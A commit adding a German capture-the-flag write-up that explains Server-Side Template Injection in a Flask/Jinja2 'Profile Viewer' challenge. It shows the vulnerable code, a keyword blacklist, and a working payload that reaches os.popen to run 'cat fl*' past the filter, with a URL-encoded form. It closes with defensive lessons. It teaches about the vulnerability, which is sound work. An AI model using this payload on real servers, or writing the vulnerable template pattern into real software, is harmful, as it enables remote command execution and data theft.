Added writeups
This commit is contained in:
108
de/render_me_this.md
Normal file
108
de/render_me_this.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Render Me This
|
||||
|
||||
Willkommen zum Write-up für **Render Me This**. Diese Challenge fällt in die Kategorie "Web" und demonstriert eine schwerwiegende Schwachstelle in modernen Web-Frameworks, bekannt als **Server-Side Template Injection (SSTI)**.
|
||||
|
||||
Uns wird eine "Profile Viewer"-Anwendung präsentiert, die den Namen eines Benutzers entgegennimmt und eine benutzerdefinierte Begrüßung rendert. Unser Ziel ist es, die Rendering-Engine auszunutzen, um die Flagge vom Server zu lesen.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge stellt uns eine URL und den Quellcode zur Verfügung. Wenn wir die Seite besuchen, sehen wir eine einfache Seite, die "Guest" begrüßt.
|
||||
|
||||
Die URL sieht wahrscheinlich so aus:
|
||||
`http://challenge-url/?name=Guest`
|
||||
|
||||
Wenn wir den Parameter `name` zu `Test` ändern, aktualisiert sich die Seite zu "Hello, Test!". Dies bestätigt, dass unsere Eingabe auf der Seite reflektiert wird.
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Untersuchen wir die bereitgestellte `app.py`, um zu verstehen, wie die Seite generiert wird.
|
||||
|
||||
```python
|
||||
@app.route('/')
|
||||
def index():
|
||||
# Get the 'name' parameter
|
||||
name = request.args.get('name', 'Guest')
|
||||
|
||||
# 1. Check for Blacklisted words
|
||||
for bad_word in BLACKLIST:
|
||||
if bad_word in name.lower():
|
||||
return "Hacker detected! ..."
|
||||
|
||||
# 2. Vulnerable Template Construction
|
||||
template = f'''
|
||||
...
|
||||
<h1>Hello, {name}!</h1>
|
||||
...
|
||||
'''
|
||||
|
||||
# Render the template
|
||||
return render_template_string(template)
|
||||
```
|
||||
|
||||
### Die Schwachstelle: SSTI
|
||||
Der kritische Fehler liegt darin, wie der `template`-String konstruiert wird. Der Entwickler verwendet einen Python f-String (`f'''... {name} ...'''`), um die Benutzereingabe *direkt in den Template-Quellcode* einzufügen, bevor er ihn an `render_template_string` übergibt.
|
||||
|
||||
In Flask (Jinja2) wird `{{ ... }}` verwendet, um Code innerhalb eines Templates auszuführen. Durch Injizieren von `{{ 7*7 }}` können wir den Server bitten, 7*7 zu berechnen. Wenn die Seite "49" anzeigt, haben wir Codeausführung.
|
||||
|
||||
### Das Hindernis: Die Blacklist
|
||||
Die Anwendung versucht, sich mit einer Blacklist zu sichern:
|
||||
`BLACKLIST = ["config", "self", "flag"]`
|
||||
|
||||
Das bedeutet, wir können nicht die Standard-SSTI-Payloads wie `{{ config }}` oder `{{ self.__dict__ }}` verwenden. Wir können auch nicht einfach `cat flag.txt` ausführen, weil das Wort "flag" verboten ist.
|
||||
|
||||
## 3. Entwicklung des Exploits
|
||||
|
||||
Wir müssen einen Weg finden, auf das Python `os`-Modul zuzugreifen, um Systembefehle auszuführen, ohne die gesperrten Wörter zu verwenden.
|
||||
|
||||
In Python-Web-Frameworks wie Flask ist das `request`-Objekt oft im Template-Kontext verfügbar. Über `request` können wir die Python-Objekthierarchie durchlaufen, um den globalen Geltungsbereich zu erreichen und Module zu importieren.
|
||||
|
||||
**Schritt 1: Zugriff auf Built-ins**
|
||||
Wir können das `request`-Objekt verwenden, um auf den globalen Geltungsbereich zuzugreifen:
|
||||
`request.application.__globals__`
|
||||
|
||||
Von dort aus können wir auf die eingebauten Funktionen von Python zugreifen:
|
||||
`request.application.__globals__.__builtins__`
|
||||
|
||||
**Schritt 2: Importieren von OS**
|
||||
Jetzt können wir die `__import__`-Funktion verwenden, um das `os`-Modul zu laden:
|
||||
`request.application.__globals__.__builtins__.__import__('os')`
|
||||
|
||||
**Schritt 3: Ausführen von Befehlen**
|
||||
Mit dem `os`-Modul können wir `popen` verwenden, um Shell-Befehle auszuführen, und `read`, um die Ausgabe zu erhalten:
|
||||
`.popen('ls').read()`
|
||||
|
||||
**Schritt 4: Umgehung des "flag"-Filters**
|
||||
Wenn wir versuchen, `cat flag.txt` auszuführen, blockiert uns die Anwendung, weil es "flag" enthält.
|
||||
Wir können dies mit Shell-Wildcards umgehen. Statt `flag.txt` können wir `fl*` sagen.
|
||||
`cat fl*` passt auf `flag.txt`, enthält aber nicht den verbotenen String "flag".
|
||||
|
||||
## 4. Der finale Payload
|
||||
|
||||
Alles zusammen sieht unser Payload so aus:
|
||||
|
||||
`{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}`
|
||||
|
||||
Wir müssen diesen Payload URL-kodieren, bevor wir ihn an den Server senden.
|
||||
|
||||
**Kodierte URL:**
|
||||
`?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D`
|
||||
|
||||
## 5. Die Lösung
|
||||
|
||||
Das Senden des Payloads an den Server führt den Befehl aus, liest die Flaggen-Datei und rendert das Ergebnis auf der Seite.
|
||||
|
||||
**Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}`
|
||||
|
||||
---
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
* **Kontext ist wichtig:** Verketten Sie niemals Benutzereingaben direkt in einen Template-String.
|
||||
* **Verwenden Sie das Framework korrekt:** Übergeben Sie Daten immer als Kontextvariablen an die Render-Funktion.
|
||||
* *Verwundbar:* `render_template_string(f"Hello {name}")`
|
||||
* *Sicher:* `render_template_string("Hello {{ name }}", name=user_input)`
|
||||
* **Blacklists versagen:** Der Versuch, bestimmte Wörter ("flag", "config") zu blockieren, ist selten effektiv. Hacker können fast immer einen Weg finden, sie zu umgehen (z.B. String-Verkettung, Kodierung, Wildcards).
|
||||
|
||||
Frohes Hacken!
|
||||
Reference in New Issue
Block a user